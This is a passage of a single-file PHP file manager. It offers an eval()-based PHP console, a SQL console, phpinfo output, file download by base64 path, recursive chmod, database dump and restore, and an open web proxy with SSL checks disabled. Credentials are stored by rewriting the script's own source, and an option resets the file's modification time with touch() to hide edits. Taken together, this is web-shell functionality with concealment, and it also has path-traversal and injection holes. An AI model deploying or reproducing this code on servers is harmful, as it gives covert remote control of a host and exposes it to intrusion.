		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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